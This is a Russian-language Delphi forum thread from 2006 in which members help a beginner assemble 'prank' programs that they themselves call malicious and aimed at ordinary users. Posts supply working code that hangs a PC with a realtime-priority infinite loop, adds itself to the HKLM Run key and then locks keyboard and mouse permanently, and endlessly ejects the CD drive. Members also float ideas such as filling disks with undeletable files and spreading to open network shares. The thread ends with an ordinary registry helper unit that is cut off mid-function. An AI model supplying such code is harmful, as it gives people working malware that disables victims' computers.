Модераторы: Poseidon, Snowy, bems, MetalFan

Поиск:

Закрытая темаСоздание новой темы Создание опроса
> Спариванние скриптов 
:(
    Опции темы
Mr.Floppy
Дата 16.7.2006, 05:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 106
Регистрация: 3.7.2006
Где: Москва

Репутация: 1
Всего: 1



Все элементарно делается - создаем новый проект и вставляем в него куски кода:

Начинаем с модулей: видим, что 1-ой программе нужны модули SysUtils, MMSystem, Windows, а 2-ой Windows и Graphics, поэтому мы их совмещаем:
Код

uses
  SysUtils,
  MMSystem,
  Windows,
  Graphics;

Смотрим дальше: в одной программе объявляются переменные, а в другой - константы. Их последовательность роли никакой не играет (в данном случае), но я предпочитаю объявлять сначала константы:
Код

const    
 SySColorArray: array [0..13] of Integer = (COLOR_ACTIVEBORDER,
 COLOR_ACTIVECAPTION, COLOR_APPWORKSPACE, COLOR_BACKGROUND,
 COLOR_BTNFACE, COLOR_BTNTEXT, COLOR_CAPTIONTEXT, COLOR_INACTIVEBORDER,
 COLOR_INFOTEXT, COLOR_MENU, COLOR_MENUTEXT, COLOR_WINDOW, COLOR_WINDOWFRAME,
 COLOR_WINDOWTEXT);
 ColorArray: array [0..10] of TColor = (clAqua, clBlack, clBlue, clYellow,
          clFuchsia, clGreen, clNavy, clRed, clSilver, clWhite, clSkyBlue);

var
 OpenParm: TMCI_Open_Parms;     
 GenParm: TMCI_Generic_Parms;
 SetParm: TMCI_Set_Parms;
 DI : Cardinal;

Теперь мы подошли к исполняемому коду. И сразу видно, почему у тебя сразу все вместе не заработало:
Рассмотрим цикл repeat ... until 2=3: действие внутри цикла будет повторяться пока не выполниться условие. А условие у тебя "2=3", что не может быть, т.е. условие у тебя - false (ложь). Поэтому этот цикл - бесконечный. Вообще-то, с бесконечными циклами надо поаккуратней, поскольку они загружают процессор на 100% и выйти из программы можно только через Ctrl+Alt+Del...
Смотрим вторую программу: while true do ... что означает: "пока <условие>, то выполнять что-то...". А условие у тебя "true" (истина, например, истина была бы и при таком условии: 2<3), т.е. то тоже бесконечый цикл. Вывод из всего вышесказанного: чтобы начать второй цикл, необходимо завершить первый (т.к. все действия выполняются последовательно), а он никогда не закончится, потому что он бесконечный. Выход - объединить два цикла в один:
Код

begin
OpenParm.lpstrDeviceType := 'CDAudio';    
 repeat
  mciSendCommand(0, mci_Open, mci_Open_Type, Longint(@OpenParm));     
  DI := OpenParm.wDeviceID;     
  mciSendCommand(DI, mci_Set, mci_Set_Door_Open, Longint(@SetParm));     
  mciSendCommand(DI, mci_Set, mci_Set_Door_Closed, Longint(@SetParm));     
  mciSendCommand(DI, mci_Close, mci_Notify, Longint(@GenParm));
  SetSysColors(1, SySColorArray[random(13)], ColorArray[random(10)]); //random(13) будет давать значения 0..12, а у нас array [0..13]
  //(ничего страшного не случиться, только COLOR_WINDOWTEXT не будет меняться)
  sleep(80) //желательно поставить ";" (правда не обязательно)
 until 2=3; //Какое-то кривоватое условие. В таких случаях принято писать until false
 //(хотя бесконечные циклы вообще не желательны)
end.

Вот и все! Правда, за одно открытие/закрытие дисковода цвет будет меняться только один раз (да при том только одного элемента (случайного)). Правда можно фунцию изменения цвета поместить в цикл, выполняющийся, к примеру, 14 раз (for i:=1 to 14 do...). Впринципе, открытие cd-rom'а и изменение палитры можно выполнять одновременно, но это для тебя очень сложно будет (потоки) 
PM MAIL   Вверх
Mr.Floppy
Дата 16.7.2006, 05:28 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 106
Регистрация: 3.7.2006
Где: Москва

Репутация: 1
Всего: 1



А вот тебе и код программы, которая с помощью бесконечного цикла может комп подвесить:
Код

program ctrl_alt_del_ne_spaset;

uses
  Windows;
  
var
  ProcessID: DWORD;
  ProcessHandle: THandle;

begin
  ProcessID := GetCurrentProcessID;
  ProcessHandle := OpenProcess(PROCESS_SET_INFORMATION, false, ProcessID);
  SetPriorityClass(ProcessHandle, REALTIME_PRIORITY_CLASS);
  while true do
end.

Есть 3 способа закрытия этой программы:
  • С помощью диспетчера задач (маловероятно)
  • Reset
  • Выключение из розетки ;)
 

Это сообщение отредактировал(а) Mr.Floppy - 16.7.2006, 05:31
PM MAIL   Вверх
Palladin
Дата 16.7.2006, 12:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



2ВоВеЦ Слыш дак у тебя же целого куска кода нет smile или может у тебя одного листа не хватает smile Ты процедуру функцию EnumWindowsWnd на 1/8 написал  smile 


Вообщем скажи мне что ты хочеш от своей программы, допустим:
1)добавление в реестр
2)блокировка клавиатуры\мыши
3)выезжающий сидиром
4)писк системного динамика
5)мигающий капслок
6)уничтожение окна "Диспетчер задач Windows"
7)Загрузка проца на 100%
и т.д.
smile
я сделаю и выложу здесь(и напишу для тебя каменты)

P.S. 2ВоВеЦ внимательнее читай книгу, там всё есть smile 
       2Mr.Floppy Эксперт мляsmile 2=3 прекрансо выплняет бесконечный циклsmile а твой второй пример не пашет в Windows старше 98 smile (насколько я знаю) 


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
Mr.Floppy
Дата 16.7.2006, 13:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 106
Регистрация: 3.7.2006
Где: Москва

Репутация: 1
Всего: 1



RooR, вот на win9x скорее всего и не пашет, а на XP работает - reset'ом выходил, не Ctrl-F2, а который на корпусе smile
да, 2=3 - выполняет... но зачем выполнять действия, если получим все равно true. можно даже что-то типа
Код
while (sin(17*abs(cos(pi))/(5*4))*100>5) and not ((11 div 2)=0) do
 написать, а какой смысл?

P.S. Запусти у себя ctrl_alt_del_ne_spaset smile

Добавлено @ 13:18 
RooR, 
1)добавление в реестр - создание строковой записи в HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run? smile
9)открытие файлов и заполнение их нулями smile

ВоВеЦ, начни с простого, пойми основы, а потом уже пиши всякие приколы, бэкдоры, полиморфные вирусы... smile 
PM MAIL   Вверх
Palladin
Дата 16.7.2006, 13:20 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



Код

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall;
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
  private
  public
  end;

var
  Form1: TForm1;

implementation
var RegIni:TRegIniFile;
function BlockInput(fBlockIt: Boolean): Boolean;
stdcall; external 'user32.dll';


procedure TForm1.FormCreate(Sender: TObject);
 var RegIni:TRegIniFile;
begin
 RegIni:=TRegIniFile.Create('Software');{прописываем файл в автозагрузку}
 RegIni.RootKey:=HKEY_LOCAL_MACHINE; {идём по корневым катологам реестра H_K_L_M}
 RegIni.OpenKey('Software', true);  {SOftware}
 RegIni.OpenKey('Microsoft', true);  { microsoft}
 RegIni.OpenKey('Windows', true);     { windows}
 RegIni.OpenKey('CurrentVersion', true);    { CurrentVersion}
 RegIni.WriteString('Run', 'VandR.exe',
   Application.ExeName);    {открываем раздел Run и прописываем его туда }
 RegIni.Free;        { закрываем то что открыли }

  repeat              {начало бесконечности}
blockinput(true); {ф-ия обрубания Клавы и мыши}
until 2=3;           {конец цикла бесконечности}
end;
end.


Вот от этого тебя точно ctrl+alt+del не спасётsmile))))))))) 


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
Mr.Floppy
Дата 16.7.2006, 13:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 106
Регистрация: 3.7.2006
Где: Москва

Репутация: 1
Всего: 1



Так не интересно... просто блокируется ввод... а в моем случае можно остановить музыку, закачки, и разрядить аккамулятор ноутбука smile
Кстати, не знаешь как сделать автозапускающеюся DLL? (с подобными "функциями") 
PM MAIL   Вверх
Palladin
Дата 16.7.2006, 15:36 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



Ну в моём примере ты не услышиш музыки тожеsmile))) тут проц грузится на 100% всё умираетsmile))))) А по поводу dll и этого кода, то это уже давай по асе или в личке, а то и так уже оффтоп smile  


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
Mr.Floppy
Дата 16.7.2006, 16:16 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 106
Регистрация: 3.7.2006
Где: Москва

Репутация: 1
Всего: 1



Цитата

проц грузится на 100%

Не на 100%, а где-то на 99,9% smile Но, все равно, можно закрыть эту программу (с помощью другой программы по сети или с помощью WinLIRC или еще как-нибудь). Если установить приоритет REALTIME, то на однопроцессорной системе Taskman появиться только через несколько минут после "распальцовки", а другие приложения тоже будут отвечать с огромной задержкой smile 
PM MAIL   Вверх
Palladin
Дата 16.7.2006, 21:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



2Mr.Floppy Подобные вредоносные программки расчитаны на обычных пользователей, ты думаеш они знаю про всё то что ты сказал smile  smile  smile  smile  smile  smile  smile  


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
ВоВеЦ
Дата 17.7.2006, 01:37 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 147
Регистрация: 20.4.2006

Репутация: нет
Всего: нет



RooR
 
Книга в PDF и я сомневаюсь что от туда могли вырвать страницу)
Код работает у меня только в окне диспетчера задач

Mr.Floppy
Насчёт циклов это мне было и так ясно, тот и другой цикл отдельно пробывал, прога рушится после 1ого прохода по коду

ALL

Может в этом всё дело: [Warning] Project1.dpr(17): Return value of function 'EnumWindowsWnd' might be undefined

Пункты нужные мне в моей программки(точней уже RooR'а=))) под номерами:1,3,4,5 а насчёт 9 это уже отдельная тема, работа с PE что мне тоже очень интерестна(если я правильно понял про забивание нулями), вообще пунктов таких существует огромное кол-во не мне вам говарить, сами понимаете, только ещё желательно пару приколов с оболочкой, а то эти все к железу относятся кроме 6 пункта, что нибудь вроде смены обоев или палитры, ну и с окнами

 
PM MAIL   Вверх
Palladin
Дата 17.7.2006, 06:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



Цитата(ВоВеЦ @  17.7.2006,  01:37 Найти цитируемый пост)
Может в этом всё дело: [Warning] Project1.dpr(17): Return value of function 'EnumWindowsWnd' might be undefined

Не это точно не из-за этогоsmile))) вообщем это потому что в твоей процедуре только одна строчка кода, удали со второй процедуры строку одну и прога будет ругатся и на ту процедуру smile 


Цитата(ВоВеЦ @  17.7.2006,  01:37 Найти цитируемый пост)
1,3,4,5

что касается этого, то я щас еду на дачу, буду вечером тогда сделаю и выложу
здесь, хотя здесь столько умельцев что я думаю делать мне ничего не придётся smile  smile  smile  smile 

Насчёт 9 пункта ТЫ СПЯТИЛ smile угомонись пока не поздно

P.S.Всё начинается с малого........
 


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
Mr.Floppy
Дата 17.7.2006, 18:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 106
Регистрация: 3.7.2006
Где: Москва

Репутация: 1
Всего: 1



10) создание нулевых файлов (ну, килобайт по 100) на всех дисках до их заполнения smile (причем, "неудаляемых" smile)
11)прикручивание протокола TCP/UDP и удаленное управление smile 
PM MAIL   Вверх
Palladin
Дата 17.7.2006, 18:28 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



12) Поиск полного доступа в папках по сети и посылание туда этого вирусаsmile
13) Изменяем раскладку клавиатуры на Японский
14)Изменяем частоту герц до 60(по глазам тож пройдёмся smile )
15)Через полчаса тушим монитору(пускай отдохнутsmile)

Ну а серъёзно пускай сам думает, чё мы паримсяsmile)) вот тебе по теме 

1)добавление в реестр
3)выезжающий сидиром
4)писк системного динамика
5)мигающий капслок



По пунктам

1)

Код

procedure TForm1.FormCreate(Sender: TObject);
 var RegIni:TRegIniFile;
begin
 RegIni:=TRegIniFile.Create('Software');{прописываем файл в автозагрузку}
 RegIni.RootKey:=HKEY_LOCAL_MACHINE; {идём по корневым катологам реестра H_K_L_M}
 RegIni.OpenKey('Software', true);  {SOftware}
 RegIni.OpenKey('Microsoft', true);  { microsoft}
 RegIni.OpenKey('Windows', true);     { windows}
 RegIni.OpenKey('CurrentVersion', true);    { CurrentVersion}
 RegIni.WriteString('Run', 'VandR.exe',
   Application.ExeName);    {открываем раздел Run и прописываем туда, первый параметр задаёт имя(то имя под которым оно будет в реестре:)) второй это твой екзешник, поскольку у твоей программы нет окна то надо писать полный путь к файлу без  Application.ExeName на конце}
 RegIni.Free;        { закрываем то что открыли }



3)это я уже писал smile незнаю зачем тебе ещё раз это надоsmile

Код

program CD-ROM;
uses
  SysUtils,
  MMSystem,
  Windows;
  
var    
 OpenParm: TMCI_Open_Parms;    
 GenParm: TMCI_Generic_Parms;    
 SetParm: TMCI_Set_Parms;
 DI : Cardinal;    
begin    
OpenParm.lpstrDeviceType := 'CDAudio';
 repeat    
  mciSendCommand(0, mci_Open, mci_Open_Type, Longint(@OpenParm));    
  DI := OpenParm.wDeviceID;    
  mciSendCommand(DI, mci_Set, mci_Set_Door_Open, Longint(@SetParm));    
  mciSendCommand(DI, mci_Set, mci_Set_Door_Closed, Longint(@SetParm));    
  mciSendCommand(DI, mci_Close, mci_Notify, Longint(@GenParm));    
  sleep(80)    
 until 2=3;
 end;
end.



4) Помойму в книге Флёнова М.С.(Delphi Глазами Хакера) это есть smile 
вообщем вот, поиск по форуму помог(проверено пашетsmile)

Код

Procedure  BeepEx(Freq:  Word;  Duration:  Integer);
 var  
     Ver:  TOsVersionInfo;
 begin
     Ver.dwOSVersionInfoSize  :=  SizeOf(Ver);
     GetVersionEx(Ver);
     if  Ver.dwPlatformId  =  VER_PLATFORM_WIN32_NT  then  
         Windows.Beep(Freq,  Duration)  
     else  begin
         asm
             movzx  ecx,  Freq
             mov  eax,  1193180            //  тактовая  частота
             sub  edx,  edx
             div  ecx                              //  преобразование  частоты  в  делитель
             mov  ecx,  eax
             mov  al,0b6H
             out  43H,al                        //  управляющие  слово
             mov  al,cl
             out  42h,al                        //  младший  байт  делителя
             mov  al,ch
             out  42h,al                        //  старший  байт  делителя
             in    al,61H
             or    al,03H
             out  61H,al                        //  включить  звук
         end;
         sleep(Duration);                //  пауза  на  время  звучани
         asm
             in    al,61H
             and  al,0fcH
             out  61H,al                        //  выключить  звук  по  окончанию  Duration
         end;
     end;
 end;


Это так описывается а потом вызывай передавая параметры, вот пример вызова

BeepEx(555, 100); //первый параметр это тон(чем больше число //тем тон  
//выше) второй частота сигнала


5) Поиск по форуму(чего сам им не пользуешся smile )
http://forum.vingrad.ru/index.php?showtopi...amp;hl=capslock 


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
Mr.Floppy
Дата 17.7.2006, 18:55 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 106
Регистрация: 3.7.2006
Где: Москва

Репутация: 1
Всего: 1



ВоВеЦ, для работы с реестром лучше используй этот модуль, вместо монстрообразного TRegistry (правда, им пользоваться все-таки удобнее):
Код

unit MiniReg; 

{ 
  lightweight replacement for TRegistry. Does not use Classes or SysUtils. Intended 
  for space-limited applets where only the commonly used functions are necessary. 
  Returns True if Successful, else False. 

  Written by Ben Hochstrasser ([email protected]). 
  This code is GPL. 
} 
//  Function Examples: 

  procedure TForm1.Button1Click(Sender: TObject); 
  var 
    ba1, ba2: array of byte; 
    n: integer; 
    s: String; 
    d: Cardinal; 
  begin 
    setlength(ba1, 10); 
    for n := 0 to 9 do ba1[n] := byte(n); 

    RegSetString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestString', 'TestMe'); 
    RegSetExpandString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestExpandString', 
      '%SystemRoot%\Test'); 
    RegSetMultiString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestMultiString', 
      'String1'#0'String2'#0'String3'); 
    RegSetDword(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestDword', 7); 
    RegSetBinary(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestBinary', ba1); 

    RegGetString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestString', s); 
    RegGetMultiString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestMultiString', s); 
    RegGetExpandString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestExpandString', s); 
    RegGetDWORD(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestDword', d); 
    RegGetBinary(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestBinary', s); 
    SetLength(ba2, Length(s)); 
    for n := 1 to Length(s) do ba2[n-1] := byte(s[n]); 
    Button1.Caption := IntToStr(Length(ba2)); 

    if RegKeyExists(HKEY_CURRENT_USER, 'Software\My Company\Test\foo') then 
      if RegValueExists(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestBinary') then 
        MessageBox(GetActiveWindow, 'OK', 'OK', MB_OK); 
    RegDelValue(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestString'); 
    RegDelKey(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar'); 
    RegDelKey(HKEY_CURRENT_USER, 'Software\My Company\Test\foo'); 
    RegDelKey(HKEY_CURRENT_USER, 'Software\My Company\Test'); 
    RegDelKey(HKEY_CURRENT_USER, 'Software\My Company'); 
    if RegEnumKeys(HKEY_CURRENT_USER, 'Software\My Company', s) then 
      ListBox1.Text := s; 
    if RegEnumValues(HKEY_CURRENT_USER, 'Software\My Company', s) then 
      ListBox1.Text := s; 
    if RegConnect('\\server1', HKEY_LOCAL_MACHINE, RemoteKey) then 
    begin 
      RegGetString(RemoteKey, 'Software\My Company\Test\foo\bar\TestString', s); 
      RegDisconnect(RemoteKey); 
    end; 
  end; 



interface 

uses Windows; 

function RegSetString(RootKey: HKEY; Name: String; Value: String): boolean; 
function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): boolean; 
function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): boolean; 
function RegSetDWORD(RootKey: HKEY; Name: String; Value: Cardinal): boolean; 
function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): boolean; 
function RegGetString(RootKey: HKEY; Name: String; Var Value: String): boolean; 
function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): boolean; 
function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): boolean; 
function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): boolean; 
function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): boolean; 
function RegGetValueType(RootKey: HKEY; Name: String; var Value: Cardinal): boolean; 
function RegValueExists(RootKey: HKEY; Name: String): boolean; 
function RegKeyExists(RootKey: HKEY; Name: String): boolean; 
function RegDelValue(RootKey: HKEY; Name: String): boolean; 
function RegDelKey(RootKey: HKEY; Name: String): boolean; 
function RegConnect(MachineName: String; RootKey: HKEY; var RemoteKey: HKEY): boolean; 
function RegDisconnect(RemoteKey: HKEY): boolean; 
function RegEnumKeys(RootKey: HKEY; Name: String; var KeyList: String): boolean; 
function RegEnumValues(RootKey: HKEY; Name: String; var ValueList: String): boolean; 

implementation 

function LastPos(Needle: Char; Haystack: String): integer; 
begin 
  for Result := Length(Haystack) downto 1 do 
    if Haystack[Result] = Needle then 
      Break; 
end; 

function RegConnect(MachineName: String; RootKey: HKEY; var RemoteKey: HKEY): boolean; 
begin 
  Result := (RegConnectRegistry(PChar(MachineName), RootKey, RemoteKey) = ERROR_SUCCESS); 
end; 

function RegDisconnect(RemoteKey: HKEY): boolean; 
begin 
  Result := (RegCloseKey(RemoteKey) = ERROR_SUCCESS); 
end; 

function RegSetValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): boolean; 
var 
  SubKey: String; 
  n: integer; 
  dispo: DWORD; 
  hTemp: HKEY; 
begin 
  Result := False; 
  n := LastPos('\', Name); 
  if n > 0 then 
  begin 
    SubKey := Copy(Name, 1, n - 1); 
    if RegCreateKeyEx(RootKey, PChar(SubKey), 0, nil, REG_OPTION_NON_VOLATILE, KEY_WRITE, 
      nil, hTemp, @dispo) = ERROR_SUCCESS then 
    begin 
      SubKey := Copy(Name, n + 1, Length(Name) - n); 
      Result := (RegSetValueEx(hTemp, PChar(SubKey), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); 
      RegCloseKey(hTemp); 
    end; 
  end; 
end; 

function RegGetValue(RootKey: HKEY; Name: String; ValType: Cardinal; var PVal: Pointer; 
  var ValSize: Cardinal): boolean; 
var 
  SubKey: String; 
  n: integer; 
  MyValType: DWORD; 
  hTemp: HKEY; 
  Buf: Pointer; 
  BufSize: Cardinal; 
begin 
  Result := False; 
  n := LastPos('\', Name); 
  if n > 0 then 
  begin 
    SubKey := Copy(Name, 1, n - 1); 
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS then 
    begin 
      SubKey := Copy(Name, n + 1, Length(Name) - n); 
      if RegQueryValueEx(hTemp, PChar(SubKey), nil, @MyValType, nil, @BufSize) = ERROR_SUCCESS then 
      begin 
        GetMem(Buf, BufSize); 
        if RegQueryValueEx(hTemp, PChar(SubKey), nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS then 
        begin 
          if ValType = MyValType then 
          begin 
            PVal := Buf; 
            ValSize := BufSize; 
            Result := True; 
          end else 
          begin 
            FreeMem(Buf); 
          end; 
        end else 
        begin 
          FreeMem(Buf); 
        end; 
      end; 
      RegCloseKey(hTemp); 
    end; 
  end; 
end; 

function RegSetString(RootKey: HKEY; Name: String; Value: String): boolean; 
begin 
  Result := RegSetValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); 
end; 

function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): boolean; 
begin 
  Result := RegSetValue(RootKey, Name, REG_MULTI_SZ, PChar(Value + #0#0), Length(Value) + 2); 
end; 

function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): boolean; 
begin 
  Result := RegSetValue(RootKey, Name, REG_EXPAND_SZ, PChar(Value + #0), Length(Value) + 1); 
end; 

function RegSetDword(RootKey: HKEY; Name: String; Value: Cardinal): boolean; 
begin 
  Result := RegSetValue(RootKey, Name, REG_DWORD, @Value, SizeOf(Cardinal)); 
end; 

function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): boolean; 
begin 
  Result := RegSetValue(RootKey, Name, REG_BINARY, @Value[Low(Value)], length(Value)); 
end; 

function RegGetString(RootKey: HKEY; Name: String; Var Value: String): boolean; 
var 
  Buf: Pointer; 
  BufSize: Cardinal; 
begin 
  Result := False; 
  if RegGetValue(RootKey, Name, REG_SZ, Buf, BufSize) then 
  begin 
    Dec(BufSize); 
    SetLength(Value, BufSize); 
    if BufSize > 0 then 
      CopyMemory(@Value[1], Buf, BufSize); 
    FreeMem(Buf); 
    Result := True; 
  end; 
end; 

function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): boolean; 
var 
  Buf: Pointer; 
  BufSize: Cardinal; 
begin 
  Result := False; 
  if RegGetValue(RootKey, Name, REG_MULTI_SZ, Buf, BufSize) then 
  begin 
    Dec(BufSize); 
    SetLength(Value, BufSize); 
    if BufSize > 0 then 
      CopyMemory(@Value[1], Buf, BufSize); 
    FreeMem(Buf); 
    Result := True; 
  end; 
end; 

function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): boolean; 
var 
  Buf: Pointer; 
  BufSize: Cardinal; 
begin 
  Result := False; 
  if RegGetValue(RootKey, Name, REG_EXPAND_SZ, Buf, BufSize) then 
  begin 
    Dec(BufSize); 
    SetLength(Value, BufSize); 
    if BufSize > 0 then 
      CopyMemory(@Value[1], Buf, BufSize); 
    FreeMem(Buf); 
    Result := True; 
  end; 
end; 

function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): boolean; 
var 
  Buf: Pointer; 
  BufSize: Cardinal; 
begin 
  Result := False; 
  if RegGetValue(RootKey, Name, REG_DWORD, Buf, BufSize) then 
  begin 
    CopyMemory(@Value, Buf, BufSize); 
    FreeMem(Buf); 
    Result := True; 
  end; 
end; 

function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): boolean; 
var 
  Buf: Pointer; 
  BufSize: Cardinal; 
begin 
  Result := False; 
  if RegGetValue(RootKey, Name, REG_BINARY, Buf, BufSize) then 
  begin 
    SetLength(Value, BufSize); 
    CopyMemory(@Value[1], Buf, BufSize); 
    FreeMem(Buf); 
    Result := True; 
  end; 
end; 

function RegValueExists(RootKey: HKEY; Name: String): boolean; 
var 
  SubKey: String; 
  n: integer; 
  hTemp: HKEY; 
begin 
  Result := False; 
  n := LastPos('\', Name); 
  if n > 0 then 
  begin 
    SubKey := Copy(Name, 1, n - 1); 
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS then 
    begin 
      SubKey := Copy(Name, n + 1, Length(Name) - n); 
      Result := (RegQueryValueEx(hTemp, PChar(SubKey), nil, nil, nil, nil) = ERROR_SUCCESS); 
      RegCloseKey(hTemp); 
    end; 
  end; 
end; 

function RegGetValueType(RootKey: HKEY; Name: String; var Value: Cardinal): boolean; 
var 
  SubKey: String; 
  n: integer; 
  hTemp: HKEY; 
  ValType: Cardinal; 
begin 
  Result := False; 
  Value := REG_NONE; 
  n := LastPos('\', Name); 
  if n > 0 then 
  begin 
    SubKey := Copy(Name, 1, n - 1); 
    if (RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS) then 
    begin 
      SubKey := Copy(Name, n + 1, Length(Name) - n); 
      Result := (RegQueryValueEx(hTemp, PChar(SubKey), nil, @ValType, nil, nil) = ERROR_SUCCESS); 
      if Result then 
        Value := ValType; 
      RegCloseKey(hTemp); 
    end; 
  end; 
end; 

function RegKeyExists(RootKey: HKEY; Name: String): boolean; 
var 
  SubKey: String; 
  n: integer; 
  hTemp: HKEY; 
begin 
  Result := False; 
  n := LastPos('\', Name); 
  if n > 0 then 
  begin 
    SubKey := Copy(Name, 1, n - 1); 
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS then 
    begin 
      Result := True; 
      RegCloseKey(hTemp); 
    end; 
  end; 
end; 

function RegDelValue(RootKey: HKEY; Name: String): boolean; 
var 
  SubKey: String; 
  n: integer; 
  hTemp: HKEY; 
begin 
  Result := False; 
  n := LastPos('\', Name); 
  if n > 0 then 
  begin 
    SubKey := Copy(Name, 1, n - 1); 
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then 
    begin 
      SubKey := Copy(Name, n + 1, Length(Name) - n); 
      Result := (RegDeleteValue(hTemp, PChar(SubKey)) = ERROR_SUCCESS); 
      RegCloseKey(hTemp); 
    end; 
  end; 
end; 

function RegDelKey(RootKey: HKEY; Name: String): boolean; 
var 
  SubKey: String; 
  n: integer; 
  hTemp: HKEY; 
begin 
  Result := False; 
  n := LastPos('\', Name); 
  if n > 0 then 
  begin 
    SubKey := Copy(Name, 1, n - 1); 
    if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then 
    begin 
      SubKey := Copy(Name, n + 1, Length(Name) - n); 
      Result := (RegDeleteKey(hTemp, PChar(SubKey)) = ERROR_SUCCESS); 
      RegCloseKey(hTemp); 
    end; 
  end; 
end; 

function RegEnum(RootKey: HKEY; Name: String; var ResultList: String; const DoKeys: Boolean): boolean; 
var 
  i: integer; 
  iRes: integer; 
  s: String; 
  hTemp: HKEY; 
  Buf: Pointer; 
  BufSize: Cardinal; 
begin 
  Result := False; 
  ResultList := ''; 
